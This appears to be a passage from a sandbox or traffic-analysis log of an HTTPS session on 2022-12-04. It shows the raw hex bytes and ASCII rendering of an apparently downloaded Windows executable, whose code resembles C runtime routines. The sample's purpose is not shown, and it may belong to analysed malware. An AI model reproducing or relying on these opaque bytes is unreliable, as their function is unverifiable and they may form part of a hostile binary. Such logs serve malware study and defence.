9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 c0 06 00 00 0f b6 4e 0d 0f b6 42 0d 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 9e 06 00 00 0f b6 4e 0e 0f b6
                                                                                                                                                  Data Ascii: 3EF;BB+t3ESNB+t3E1NB+t3ENB+t3EF;BB+t3ENB+t3EN
                                                                                                                                                  2022-12-04 11:05:57 UTC641INData Raw: 00 85 cf 75 39 23 da 81 fb f0 0f 00 00 77 2f f3 0f 6f 0a 66 0f 6f 11 66 0f 74 ca 66 0f 74 d0 66 0f 74 c8 66 0f eb d1 66 0f d7 da 85 db 75 08 83 c2 10 83 c1 10 eb c5 0f bc db 03 d3 03 cb 0f b6 19 85 db 74 10 3a 1a 0f 85 5e ff ff ff 83 c2 01 83 c1 01 eb a7 48 5e 5b 5f c3 33 c0 5e 5b 5f c3 80 39 00 74 f7 8b f9 bb ff 0f 00 00 23 d9 81 fb f0 0f 00 00 77 06 f3 0f 6f 01 eb 22 bb 0f 00 00 00 0f b6 31 83 c1 01 66 0f 3a 20 c6 0f 66 0f 73 d8 01 4b 74 09 85 f6 74 ee eb e6 83 c0 01 66 0f 7e c2 bb ff 0f 00 00 23 d8 81 fb f0 0f 00 00 76 10 0f b6 18 85 db 74 a2 3a d3 74 18 83 c0 01 eb e1 83 c0 10 66 0f 3a 63 40 f0 0c 77 d5 73 8b 83 e8 10 03 c1 8b d7 8b f0 bb ff 0f 00 00 23 de 81 fb f0 0f 00 00 77 29 bb ff 0f 00 00 23 da 81 fb f0 0f 00 00 77 1a f3 0f 6f 0a 83 c6 10 83 c2
                                                                                                                                                  Data Ascii: u9#w/ofoftftftffut:^H^[_3^[_9t#wo"1f: fsKttf~#vt:tf:c@ws#w)#wo
                                                                                                                                                  2022-12-04 11:05:57 UTC649INData Raw: 04 00 00 84 c0 0f 85 a6 00 00 00 32 c0 e9 16 03 00 00 6a 01 8b ce e8 8f 14 00 00 eb e6 83 e8 5a 74 15 83 e8 07 74 54 48 83 e8 01 75 de 53 8b ce e8 01 03 00 00 eb cc 8b ce e8 8d 03 00 00 eb c3 83 f8 70 7f 4e 74 40 83 f8 67 7e 2f 83 f8 69 74 1c 83 f8 6e 74 0e 83 f8 6f 75 b0 8b ce e8 be 05 00 00 eb 9f 8b ce e8 6b f8 ff ff eb 96 83 4e 1c 10 53 8b ce e8 2b 17 00 00 eb 88 8b ce e8 14 04 00 00 e9 7c ff ff ff 8b ce e8 af 05 00 00 e9 70 ff ff ff 83 e8 73 0f 84 60 ff ff ff 48 83 e8 01 74 cf 83 e8 03 0f 85 60 ff ff ff 53 e9 63 ff ff ff 38 5e 2c 0f 85 6c 02 00 00 8b 46 1c 33 d2 c1 e8 04 42 66 89 5d f0 8b cb 88 5d f2 89 4d e8 84 c2 74 32 8b 46 1c c1 e8 06 84 c2 74 06 c6 45 f0 2d eb 09 84 56 1c 74 0b c6 45 f0 2b 8b ca 89 4d e8 eb 12 8b 46 1c d1 e8 84 c2 74 09 c6 45 f0
                                                                                                                                                  Data Ascii: 2jZttTHuSpNt@g~/itntoukNS+|ps`Ht`Sc8^,lF3Bf]]Mt2FtE-VtE+MFtE
                                                                                                                                                  2022-12-04 11:05:57 UTC657INData Raw: f0 0f 82 fa 00 00 00 66 3b 75 e4 0f 82 e6 00 00 00 8b 45 e0 66 3b f0 0f 82 e4 00 00 00 66 3b 75 dc 0f 82 d0 00 00 00 8b 45 d8 66 3b f0 0f 82 ce 00 00 00 66 3b 75 d4 0f 82 ba 00 00 00 8b 45 d0 66 3b f0 0f 82 b8 00 00 00 66 3b 75 cc 0f 82 a4 00 00 00 8b 45 c8 66 3b f0 0f 82 a2 00 00 00 66 3b 75 c4 0f 82 8e 00 00 00 8b 45 c0 66 3b f0 0f 82 8c 00 00 00 66 3b 75 bc 72 7c 8b 45 b8 66 3b f0 72 7e 66 3b 75 b4 72 6e 8b 45 b0 66 3b f0 72 70 66 3b 75 ac 72 60 8b 45 a8 66 3b f0 72 62 66 3b 75 a4 72 52 8b 45 a0 66 3b f0 72 54 66 3b 75 9c 72 44 8b 45 98 66 3b f0 72 46 66 3b 75 94 72 36 8b 45 90 66 3b f0 72 38 66 3b 75 8c 72 28 8b 45 88 66 3b f0 72 2a 66 3b 75 84 72 1a 8b 45 80 66 3b f0 72 1c 66 3b b5 7c ff ff ff eb 07 66 3b b5 78 ff ff ff 73 0a 0f b7 ce 2b c8 83 f9 ff
                                                                                                                                                  Data Ascii: f;uEf;f;uEf;f;uEf;f;uEf;f;uEf;f;ur|Ef;r~f;urnEf;rpf;ur`Ef;rbf;urREf;rTf;urDEf;rFf;ur6Ef;r8f;ur(Ef;r*f;urEf;rf;|f;xs+
                                                                                                                                                  2022-12-04 11:05:57 UTC665INData Raw: 2c fe ff ff 00 6a 00 50 8d 85 30 fe ff ff 68 cc 01 00 00 50 e8 10 ed ff ff 8b 85 2c fe ff ff 83 c4 10 89 85 e8 f6 ff ff eb 79 33 db 8d 85 d8 f4 ff ff 89 9d d4 f4 ff ff e9 33 fd ff ff 8b 85 e8 f6 ff ff 83 ff 01 74 5b 85 c0 74 57 33 c9 8b d8 33 f6 8b c7 f7 a4 b5 30 fe ff ff 03 c1 89 84 b5 30 fe ff ff 83 d2 00 46 8b ca 3b f3 75 e4 8b 85 2c fe ff ff 85 c9 74 aa 83 f8 73 0f 83 70 ff ff ff 89 8c 85 30 fe ff ff 8b 85 2c fe ff ff 40 89 85 e8 f6 ff ff 89 85 2c fe ff ff eb 06 8b 85 e8 f6 ff ff 8b b5 e0 f6 ff ff 85 f6 0f 84 8e 00 00 00 33 d2 85 c0 74 28 33 c0 01 b4 95 30 fe ff ff 13 c0 42 8b f0 8b 85 2c fe ff ff 89 85 e8 f6 ff ff 8b ce 3b d0 75 e0 85 c9 0f 84 00 f9 ff ff 83 f8 73 73 1f 89 b4 85 30 fe ff ff 8b 9d 2c fe ff ff 43 89 9d e8 f6 ff ff 89 9d 2c fe ff ff e9
                                                                                                                                                  Data Ascii: ,jP0hP,y33t[tW3300F;u,tsp0,@,3t(30B,;uss0,C,
                                                                                                                                                  2022-12-04 11:05:57 UTC672INData Raw: 7b 08 89 43 04 8d 4b 18 a5 50 52 a5 a5 e8 db f8 ff ff 8b 45 18 83 63 70 00 89 43 68 8b 45 1c 5f 89 43 6c 8b c3 5e 5b 5d c2 18 00 8b ff 53 56 8b f1 57 8d 5e 08 8b cb e8 54 ff ff ff 84 c0 74 0e 8d 7e 18 8b cf e8 ed f8 ff ff 84 c0 75 12 83 c8 ff 5f 5e 5b c3 8b ce e8 53 00 00 00 84 c0 74 0b 8b cf e8 ec f8 ff ff 84 c0 75 ea 8b 7e 70 85 ff 75 1c 83 7e 28 01 74 16 8b cb e8 33 ff ff ff 83 f8 ff 75 02 0b f8 50 8b cb e8 3a ff ff ff 8b 06 83 e0 01 83 c8 00 74 13 8b 76 24 85 f6 74 0c e8 08 39 00 00 89 30 e8 0f b5 00 00 8b c7 eb a2 8b ff 56 8b f1 8b 46 28 48 83 e8 01 74 2e 83 e8 01 74 23 83 e8 01 74 04 32 c0 5e c3 e8 c2 00 00 00 84 c0 74 f5 83 7e 40 09 74 ef 80 7e 2e 00 75 e9 ff 46 70 5e c3 5e e9 23 00 00 00 5e e9 00 00 00 00 8b ff 56 ff 71 68 8d 71 08 56 e8 26 03 00
                                                                                                                                                  Data Ascii: {CKPREcpChE_Cl^[]SVW^Tt~u_^[Stu~pu~(t3uP:tv$t90VF(Ht.t#t2^t~@t~.uFp^^#^VqhqV&
                                                                                                                                                  2022-12-04 11:05:57 UTC680INData Raw: 03 83 c1 20 6a 38 5a 83 f9 75 75 41 0f b7 8d 32 ff ff ff 8d 41 bf 83 f8 19 77 03 83 c1 20 83 f9 74 75 2a 0f b7 8d 34 ff ff ff 8d 41 bf 83 f8 19 77 03 83 c1 20 83 f9 66 75 13 66 39 95 36 ff ff ff 75 0a 66 83 bd 38 ff ff ff 00 74 29 66 83 bd 36 ff ff ff 2d 0f 85 e3 00 00 00 66 39 95 38 ff ff ff 0f 85 d6 00 00 00 66 83 bd 3a ff ff ff 00 0f 85 c8 00 00 00 b8 e9 fd 00 00 eb 0d 8d 85 50 ff ff ff 50 e8 d0 10 00 00 59 47 0f b7 c0 57 56 89 03 8b 9d 28 fe ff ff 68 83 00 00 00 53 e8 b3 c7 00 00 83 c4 10 85 c0 0f 85 b0 00 00 00 8d 8d 50 ff ff ff 8d 51 02 66 8b 01 83 c1 02 66 3b 85 20 fe ff ff 75 f1 2b ca d1 f9 8d 41 01 50 8d 85 50 ff ff ff 50 8d 8d 04 fe ff ff e8 22 11 00 00 33 c0 66 39 06 74 24 b8 83 00 00 00 39 85 18 fe ff ff 73 17 57 56 50 ff b5 24 fe ff ff e8 54
                                                                                                                                                  Data Ascii: j8ZuuA2Aw tu*4Aw fuf96uf8t)f6-f98f:PPYGWV(hSPQff; u+APPP"3f9t$9sWVP$T
                                                                                                                                                  2022-12-04 11:05:57 UTC688INData Raw: eb 0c a3 64 3a 50 00 33 ff a3 60 3a 50 00 6a 00 e8 52 76 00 00 56 e8 4c 76 00 00 59 59 8b c7 5f 5e c3 8b ff 55 8b ec 8b 45 08 8b 00 3b 05 68 3a 50 00 74 07 50 e8 1e 00 00 00 59 5d c3 8b ff 55 8b ec 8b 45 08 8b 00 3b 05 64 3a 50 00 74 07 50 e8 03 00 00 00 59 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 74 1f 8b 06 57 8b fe eb 0c 50 e8 f5 75 00 00 8d 7f 04 8b 07 59 85 c0 75 f0 56 e8 e5 75 00 00 59 5f 5e 5d c3 a1 5c 3a 50 00 85 c0 75 22 39 05 60 3a 50 00 74 18 e8 d6 fe ff ff 85 c0 74 09 e8 39 02 00 00 85 c0 75 06 a1 5c 3a 50 00 c3 33 c0 c3 a1 60 3a 50 00 85 c0 75 22 39 05 5c 3a 50 00 74 18 e8 04 ff ff ff 85 c0 74 09 e8 90 02 00 00 85 c0 75 06 a1 60 3a 50 00 c3 33 c0 c3 8b ff 55 8b ec 51 51 53 8b 5d 08 33 d2 56 57 8b f3 8a 03 eb 18 3c 3d 74 01 42 8b ce 8d 79 01 8a
                                                                                                                                                  Data Ascii: d:P3`:PjRvVLvYY_^UE;h:PtPY]UE;d:PtPY]UVutWPuYuVuY_^]\:Pu"9`:Ptt9u\:P3`:Pu"9\:Pttu`:P3UQQS]3VW<=tBy
                                                                                                                                                  2022-12-04 11:05:57 UTC696INData Raw: cb 02 eb 06 66 83 fe 2b 75 0e 8b 55 0c 0f b7 32 83 c2 02 89 55 0c eb 03 8b 55 0c c7 85 74 ff ff ff 3a 00 00 00 b8 10 ff 00 00 c7 45 f8 60 06 00 00 c7 45 f4 6a 06 00 00 c7 45 f0 f0 06 00 00 c7 45 ec fa 06 00 00 c7 45 e8 66 09 00 00 c7 45 e4 70 09 00 00 c7 45 e0 e6 09 00 00 c7 45 dc f0 09 00 00 c7 45 d8 66 0a 00 00 c7 45 d4 70 0a 00 00 c7 45 d0 e6 0a 00 00 c7 45 cc f0 0a 00 00 c7 45 c8 66 0b 00 00 c7 45 c4 70 0b 00 00 c7 45 c0 66 0c 00 00 c7 45 bc 70 0c 00 00 c7 45 b8 e6 0c 00 00 c7 45 b4 f0 0c 00 00 c7 45 b0 66 0d 00 00 c7 45 ac 70 0d 00 00 c7 45 a8 50 0e 00 00 c7 45 a4 5a 0e 00 00 c7 45 a0 d0 0e 00 00 c7 45 9c da 0e 00 00 c7 45 98 20 0f 00 00 c7 45 94 2a 0f 00 00 c7 45 90 40 10 00 00 c7 45 8c 4a 10 00 00 c7 45 88 e0 17 00 00 c7 45 84 ea 17 00 00 c7 45 80
                                                                                                                                                  Data Ascii: f+uU2UUt:E`EjEEEfEpEEEfEpEEEfEpEfEpEEEfEpEPEZEEE E*E@EJEEE
                                                                                                                                                  2022-12-04 11:05:57 UTC704INData Raw: 04 ff ff ff 8b b5 f4 fe ff ff 89 9d 04 ff ff ff 3b de 72 4a 89 85 f0 fe ff ff 8b d3 74 2b 2b f3 8b d8 8a 02 8d 52 01 8a 4c 16 ff 88 44 16 ff 88 4a ff 83 eb 01 75 eb 8b b5 f4 fe ff ff 8b 9d 04 ff ff ff 8b 85 00 ff ff ff 8b 95 08 ff ff ff 3b fb 0f 85 ed fe ff ff 8b fe e9 e6 fe ff ff 3b f9 73 3c 8b 9d f8 fe ff ff eb 07 8d a4 24 00 00 00 00 2b c8 89 8d 04 ff ff ff 3b cf 76 21 57 51 8b cb ff 15 00 50 50 00 ff d3 8b 8d 04 ff ff ff 83 c4 08 85 c0 8b 85 00 ff ff ff 74 d5 eb 44 8b 9d f8 fe ff ff 8b b5 fc fe ff ff 8d a4 24 00 00 00 00 2b c8 89 8d 04 ff ff ff 3b ce 76 1f 57 51 8b cb ff 15 00 50 50 00 ff d3 8b 8d 04 ff ff ff 83 c4 08 85 c0 8b 85 00 ff ff ff 74 d5 8b b5 f4 fe ff ff 8b 95 08 ff ff ff 8b ca 8b bd 04 ff ff ff 2b ce 8b c7 2b 85 fc fe ff ff 3b c1 7c 3d 8b
                                                                                                                                                  Data Ascii: ;rJt++RLDJu;;s<$+;v!WQPPtD$+;vWQPPt++;|=
                                                                                                                                                  2022-12-04 11:05:57 UTC711INData Raw: d7 4f 00 5e 5d c2 1c 00 8b ff 55 8b ec 56 e8 1d 06 00 00 ff 75 14 8b f0 ff 75 10 ff 75 0c 85 f6 74 0f ff 75 08 8b ce ff 15 00 50 50 00 ff d6 eb 11 6a 00 ff 75 08 e8 ac 01 00 00 50 ff 15 f4 d7 4f 00 5e 5d c2 10 00 8b ff 55 8b ec 56 e8 f8 05 00 00 ff 75 1c 8b f0 ff 75 18 ff 75 14 ff 75 10 ff 75 0c 85 f6 74 0f ff 75 08 8b ce ff 15 00 50 50 00 ff d6 eb 11 6a 00 ff 75 08 e8 67 01 00 00 50 ff 15 3c d8 4f 00 5e 5d c2 18 00 8b ff 55 8b ec 56 e8 cd 05 00 00 8b f0 85 f6 74 12 ff 75 0c 8b ce ff 75 08 ff 15 00 50 50 00 ff d6 eb 14 6a 00 ff 75 0c ff 75 08 ff 15 44 d8 4f 00 50 e8 e5 00 00 00 5e 5d c2 08 00 8b ff 55 8b ec 56 68 a4 a8 4d 00 68 9c a8 4d 00 68 f0 95 4f 00 6a 0e e8 61 04 00 00 8b f0 83 c4 10 85 f6 74 15 ff 75 10 8b ce ff 75 0c ff 75 08 ff 15 00 50 50 00 ff
                                                                                                                                                  Data Ascii: O^]UVuuutuPPjuPO^]UVuuuuutuPPjugP<O^]UVtuuPPjuuDOP^]UVhMhMhOjatuuuPP
                                                                                                                                                  2022-12-04 11:05:57 UTC719INData Raw: 50 00 8b ce 83 e1 1f 33 35 80 3f 50 00 d3 ce 89 75 e4 c7 45 fc fe ff ff ff e8 17 00 00 00 8b c6 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b c9 c2 0c 00 8b 75 e4 8b 4d 10 ff 31 e8 dc e8 ff ff 59 c3 8b ff 55 8b ec 6b 45 08 38 05 98 07 50 00 5d c3 8b ff 55 8b ec 8b 45 08 83 c0 20 50 ff 15 70 d7 4f 00 5d c3 8b ff 55 8b ec 8b 45 08 83 c0 20 50 ff 15 94 d8 4f 00 5d c3 a1 8c 3f 50 00 56 6a 03 5e 85 c0 75 07 b8 00 02 00 00 eb 06 3b c6 7d 07 8b c6 a3 8c 3f 50 00 6a 04 50 e8 75 14 00 00 6a 00 a3 90 3f 50 00 e8 bb f8 ff ff 83 c4 0c 83 3d 90 3f 50 00 00 75 2b 6a 04 56 89 35 8c 3f 50 00 e8 4f 14 00 00 6a 00 a3 90 3f 50 00 e8 95 f8 ff ff 83 c4 0c 83 3d 90 3f 50 00 00 75 05 83 c8 ff 5e c3 57 33 ff be 98 07 50 00 6a 00 68 a0 0f 00 00 8d 46 20 50 e8 8d e0 ff ff a1 90 3f 50
                                                                                                                                                  Data Ascii: P35?PuEMdY_^[uM1YUkE8P]UE PpO]UE PO]?PVj^u;}?PjPuj?P=?Pu+jV5?POj?P=?Pu^W3PjhF P?P
                                                                                                                                                  2022-12-04 11:05:57 UTC727INData Raw: 00 6a 50 6a 01 e8 cb f5 ff ff 8b f0 6a 00 89 75 fc e8 11 da ff ff 83 c4 0c 85 f6 75 08 33 c0 40 e9 55 03 00 00 6a 04 6a 01 e8 a7 f5 ff ff 8b f8 6a 00 89 7d f8 e8 ed d9 ff ff 83 c4 0c 85 ff 75 09 56 e8 e0 d9 ff ff 59 eb d3 83 bb ac 00 00 00 00 0f 84 82 02 00 00 6a 04 6a 01 e8 75 f5 ff ff 8b f8 6a 00 89 7d f4 e8 bb d9 ff ff 83 c4 0c 85 ff 75 12 56 e8 ae d9 ff ff 8b 45 f8 50 e8 a5 d9 ff ff 59 eb c2 8b bb ac 00 00 00 8d 46 0c 50 6a 15 57 8d 45 e8 6a 01 50 e8 b0 b9 00 00 8b 4d fc 8b f0 83 c1 10 8d 45 e8 51 6a 14 57 6a 01 50 e8 99 b9 00 00 0b f0 8b 45 fc 83 c0 14 50 6a 16 57 8d 45 e8 6a 01 50 e8 82 b9 00 00 0b f0 8b 45 fc 83 c0 18 50 6a 17 57 8d 45 e8 6a 01 50 e8 6b b9 00 00 83 c4 50 0b f0 8b 45 fc 83 c0 1c 89 45 f0 50 6a 18 57 8d 45 e8 6a 01 50 e8 4e b9 00 00
                                                                                                                                                  Data Ascii: jPjjuu3@Ujjj}uVYjjuj}uVEPYFPjWEjPMEQjWjPEPjWEjPEPjWEjPkPEEPjWEjPN
                                                                                                                                                  2022-12-04 11:05:57 UTC735INData Raw: 76 50 e8 77 06 00 00 59 8b d0 6a 01 68 7c 85 4b 00 89 56 5c ff 15 74 d7 4f 00 8b 0f f6 c1 07 0f 95 c2 0f ba e1 09 0f 92 c0 22 d0 0f ba e1 08 0f 92 c0 84 d0 75 02 89 1f 5f 5e 5b 5d c3 8b ff 55 8b ec 81 ec fc 00 00 00 a1 34 00 50 00 33 c5 89 45 fc 53 56 8b 75 08 57 e8 b6 aa ff ff 8b d8 e8 af aa ff ff 56 8b b8 4c 03 00 00 e8 ba 05 00 00 59 8b 4b 64 8b f0 f7 d9 8d 85 0c ff ff ff 6a 78 1b c9 81 e1 05 f0 ff ff 50 81 c1 02 10 00 00 51 56 ff 15 f4 d7 4f 00 83 a5 08 ff ff ff 00 85 c0 0f 84 d4 01 00 00 8d 85 0c ff ff ff 50 ff 73 54 e8 d8 9d 00 00 59 59 85 c0 0f 85 b5 00 00 00 6a 78 8d 85 0c ff ff ff 50 8b 43 60 f7 d8 1b c0 25 02 f0 ff ff 05 01 10 00 00 50 56 ff 15 f4 d7 4f 00 85 c0 0f 84 91 01 00 00 8d 85 0c ff ff ff 50 ff 73 50 e8 95 9d 00 00 59 59 8b 0f 85 c0 75
                                                                                                                                                  Data Ascii: vPwYjh|KV\tO"u_^[]U4P3ESVuWVLYKdjxPQVOPsTYYjxPC`%PVOPsPYYu
                                                                                                                                                  2022-12-04 11:05:57 UTC743INData Raw: 00 eb 43 85 c9 78 27 3b 0d 40 3f 50 00 73 1f 8b c1 83 e1 3f c1 e8 06 6b c9 38 8b 04 85 40 3d 50 00 f6 44 08 28 01 74 06 8b 44 08 18 5d c3 e8 4c 20 ff ff 83 20 00 e8 31 20 ff ff c7 00 09 00 00 00 e8 34 9c ff ff 83 c8 ff 5d c3 6a 1c 68 38 f6 4f 00 e8 2a 42 fe ff 6a 07 e8 e6 8a ff ff 59 83 cb ff 89 5d e4 33 ff 89 7d fc 89 7d d4 81 ff 80 00 00 00 7d 44 8b 04 bd 40 3d 50 00 89 45 d8 85 c0 75 54 e8 f9 01 00 00 89 04 bd 40 3d 50 00 85 c0 74 26 83 05 40 3f 50 00 40 8b df c1 e3 06 53 e8 2a 03 00 00 59 8b c3 c1 f8 06 8b 04 85 40 3d 50 00 c6 40 28 01 89 5d e4 c7 45 fc fe ff ff ff e8 90 00 00 00 8b c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b c9 c3 8d 88 00 0e 00 00 89 4d e0 8b f0 6a 38 58 89 75 dc 3b f1 74 60 f6 46 28 01 75 1a 56 ff 15 70 d7 4f 00 f6 46 28 01 74 11
                                                                                                                                                  Data Ascii: Cx';@?Ps?k8@=PD(tD]L 1 4]jh8O*BjY]3}}}D@=PEuT@=Pt&@?P@S*Y@=P@(]EMdY_^[Mj8Xu;t`F(uVpOF(t
                                                                                                                                                  2022-12-04 11:05:57 UTC751INData Raw: ff 75 0c e8 31 85 ff ff 59 84 c0 75 09 ff 75 0c e8 8f 48 00 00 59 53 ff 75 10 8b 5d 08 ff 75 0c 53 e8 18 01 00 00 83 c4 0c 84 c0 75 11 8b 45 0c 6a 10 59 83 c0 0c f0 09 08 83 c8 ff eb 03 0f b6 c3 5b 5d c3 8b ff 55 8b ec ff 75 0c e8 8a 94 ff ff 8b 45 0c 59 8b 40 0c 90 a8 06 75 21 8b 45 10 c7 40 18 09 00 00 00 c6 40 1c 01 8b 45 0c 6a 10 59 83 c0 0c f0 09 08 b8 ff ff 00 00 5d c3 8b 45 0c 8b 40 0c 90 c1 e8 0c a8 01 74 0c 8b 45 10 c7 40 18 22 00 00 00 eb cf 8b 45 0c 8b 40 0c 90 a8 01 74 28 ff 75 0c e8 1e fe ff ff 59 8b 4d 0c 83 61 08 00 84 c0 8b 45 0c 74 b4 8b 48 04 89 08 8b 45 0c 6a fe 59 83 c0 0c f0 21 08 8b 45 0c 6a 02 59 83 c0 0c f0 09 08 8b 45 0c 6a f7 59 83 c0 0c f0 21 08 8b 45 0c 83 60 08 00 8b 45 0c 8b 40 0c 90 a9 c0 04 00 00 75 16 ff 75 0c e8 39 84 ff
                                                                                                                                                  Data Ascii: u1YuuHYSu]uSuEjY[]UuEY@u!E@@EjY]E@tE@"E@t(uYMaEtHEjY!EjYEjY!E`E@uu9
                                                                                                                                                  2022-12-04 11:05:57 UTC758INData Raw: ff ff ff 75 18 ff 75 14 68 9c c7 4f 00 e9 11 06 00 00 8b 75 1c ff 75 20 56 81 fe 10 a9 4d 00 0f 85 90 00 00 00 8b 7d 18 8b 5d 14 57 53 ff 75 10 6a 49 ff 75 08 e8 61 fc ff ff 83 c4 1c 84 c0 0f 84 d6 fd ff ff 57 53 68 80 c4 4f 00 e8 0e fa ff ff ff 75 20 56 57 53 ff 75 10 6a 4d ff 75 08 e8 37 fc ff ff 83 c4 28 84 c0 0f 84 ac fd ff ff 57 53 68 80 c4 4f 00 e8 e4 f9 ff ff ff 75 20 56 57 53 ff 75 10 6a 53 ff 75 08 e8 0d fc ff ff 83 c4 28 84 c0 0f 84 82 fd ff ff 57 53 68 8c c7 4f 00 e8 ba f9 ff ff ff 75 20 56 57 53 ff 75 10 6a 70 e9 03 fe ff ff ff 75 18 ff 75 14 ff 75 10 6a 58 ff 75 08 e8 d3 fb ff ff 83 c4 1c e9 f3 fd ff ff 8b 45 10 83 78 08 17 0f 87 7d fe ff ff 83 78 08 0b 8b 45 1c 7f 08 8b 80 4c 01 00 00 eb 06 8b 80 50 01 00 00 ff 75 18 ff 75 14 50 e9 23 05 00
                                                                                                                                                  Data Ascii: uuhOuu VM}]WSujIuaWShOu VWSujMu7(WShOu VWSujSu(WShOu VWSujpuuujXuEx}xELPuuP#
                                                                                                                                                  2022-12-04 11:05:57 UTC766INData Raw: ff 0f 84 ba 00 00 00 8b d1 83 fe 73 74 65 3b f0 75 13 83 a4 b5 c0 f8 ff ff 00 8d 47 01 03 c1 89 85 bc f8 ff ff 8b 85 88 f8 ff ff 8b 04 88 8b 8d 9c f8 ff ff f7 24 b9 8b 8d 98 f8 ff ff 03 84 b5 c0 f8 ff ff 83 d2 00 03 85 ac f8 ff ff 89 84 b5 c0 f8 ff ff 8b 85 bc f8 ff ff 83 d2 00 41 89 95 ac f8 ff ff 46 89 8d 98 f8 ff ff 3b 8d a0 f8 ff ff 75 96 85 d2 74 44 8d 8d c0 f8 ff ff 8d 0c b1 89 8d ac f8 ff ff 83 fe 73 74 30 3b f0 75 0c 83 21 00 8d 46 01 89 85 bc f8 ff ff 83 85 ac f8 ff ff 04 8b c2 46 33 d2 01 01 8b 85 bc f8 ff ff 13 d2 74 08 8b 8d ac f8 ff ff eb cb 8b 95 b4 f8 ff ff 83 fe 73 0f 84 83 00 00 00 8b b5 9c f8 ff ff 47 3b fa 0f 85 ee fe ff ff 89 85 5c fc ff ff be cc 01 00 00 c1 e0 02 50 8d 85 c0 f8 ff ff 50 8d 85 60 fc ff ff 56 50 e8 ed 55 fe ff 83 c4 10
                                                                                                                                                  Data Ascii: ste;uG$AF;utDst0;u!FF3tsG;\PP`VPU
                                                                                                                                                  2022-12-04 11:05:57 UTC774INData Raw: ff ff 85 c0 74 5a 6a 02 50 e8 47 3a ff ff 8b f0 59 59 85 f6 74 c8 ff b5 74 ff ff ff 56 ff 75 14 ff b5 78 ff ff ff e8 dd 05 ff ff eb a5 85 c0 75 2f 6a 02 8d 85 78 ff ff ff 89 bd 78 ff ff ff 50 8b 45 14 0d 00 00 00 20 50 56 e8 b9 05 ff ff 85 c0 74 0d 8a 85 78 ff ff ff 88 03 e9 0c ff ff ff 83 c8 ff 8b 4d fc 5f 5e 33 cd 5b e8 61 ba fd ff c9 c3 57 57 57 57 57 e8 0e 1f ff ff cc 8b ff 55 8b ec 83 ec 1c a1 34 00 50 00 33 c5 89 45 fc 53 56 57 ff 75 08 8d 4d e4 e8 8d 37 fe ff 8b 45 e8 33 ff 57 57 ff 75 10 8b 40 08 ff 75 0c 89 45 f4 e8 53 05 ff ff 89 45 f8 85 c0 0f 84 80 00 00 00 03 c0 8d 48 08 3b c1 1b c0 23 c1 74 6a 3d 00 04 00 00 77 13 e8 98 00 00 00 8b f4 85 f6 74 1e c7 06 cc cc 00 00 eb 13 50 e8 05 27 ff ff 8b f0 59 85 f6 74 09 c7 06 dd dd 00 00 83 c6 08 8b de
                                                                                                                                                  Data Ascii: tZjPG:YYttVuxu/jxxPE PVtxM_^3[aWWWWWU4P3ESVWuM7E3WWu@uESEH;#tj=wtP'Yt
                                                                                                                                                  2022-12-04 11:05:57 UTC782INData Raw: 14 24 e8 f2 0e 00 00 e8 0d 00 00 00 83 c4 0c c3 8d 54 24 04 e8 9d 0e 00 00 52 9b d9 3c 24 74 4c 8b 44 24 0c 66 81 3c 24 7f 02 74 06 d9 2d a8 c9 4d 00 a9 00 00 f0 7f 74 5e a9 00 00 00 80 75 41 d9 ec d9 c9 d9 f1 83 3d cc 40 50 00 00 0f 85 bc 0e 00 00 8d 0d 90 c7 4d 00 ba 1b 00 00 00 e9 b9 0e 00 00 a9 00 00 00 80 75 17 eb d4 a9 ff ff 0f 00 75 1d 83 7c 24 08 00 75 16 25 00 00 00 80 74 c5 dd d8 db 2d 60 c9 4d 00 b8 01 00 00 00 eb 22 e8 08 0e 00 00 eb 1b a9 ff ff 0f 00 75 c5 83 7c 24 08 00 75 be dd d8 db 2d 0a c9 4d 00 b8 02 00 00 00 83 3d cc 40 50 00 00 0f 85 50 0e 00 00 8d 0d 90 c7 4d 00 ba 1b 00 00 00 e8 49 0f 00 00 5a c3 e9 0b 00 00 00 cc cc cc cc cc cc cc cc cc cc cc 83 3d 08 39 50 00 02 7c 08 83 ec 04 db 0c 24 58 c3 55 8b ec 83 c4 f0 83 e4 f0 d9 c0 db 3c
                                                                                                                                                  Data Ascii: $T$R<$tLD$f<$t-Mt^uA=@PMuu|$u%t-`M"u|$u-M=@PPMIZ=9P|$XU<
                                                                                                                                                  2022-12-04 11:05:57 UTC790INData Raw: 1b c9 81 e1 08 ff ff ff 8d 81 00 01 00 00 5d c3 55 8b ec 51 83 3d 08 39 50 00 01 7c 66 81 7d 08 b4 02 00 c0 74 09 81 7d 08 b5 02 00 c0 75 54 0f ae 5d fc 8b 45 fc 83 f0 3f a8 81 74 3f a9 04 02 00 00 75 07 b8 8e 00 00 c0 c9 c3 a9 02 01 00 00 74 2a a9 08 04 00 00 75 07 b8 91 00 00 c0 c9 c3 a9 10 08 00 00 75 07 b8 93 00 00 c0 c9 c3 a9 20 10 00 00 75 0e b8 8f 00 00 c0 c9 c3 b8 90 00 00 c0 c9 c3 8b 45 08 c9 c3 90 90 8b 54 24 08 8d 42 0c 8b 4a e4 33 c8 e8 b6 7b fd ff b8 98 f1 4f 00 e9 9e ff fe ff 90 90 8b 54 24 08 8d 42 0c 8b 4a f4 33 c8 e8 99 7b fd ff b8 6c f1 4f 00 e9 81 ff fe ff 90 90 8b 54 24 08 8d 42 0c 8b 4a e0 33 c8 e8 7c 7b fd ff b8 64 f2 4f 00 e9 64 ff fe ff 90 90 8b 54 24 08 8d 42 0c 8b 4a f0 33 c8 e8 5f 7b fd ff b8 d4 f2 4f 00 e9 47 ff fe ff 90 90 8b
                                                                                                                                                  Data Ascii: ]UQ=9P|f}t}uT]E?t?ut*uu uET$BJ3{OT$BJ3{lOT$BJ3|{dOdT$BJ3_{OG
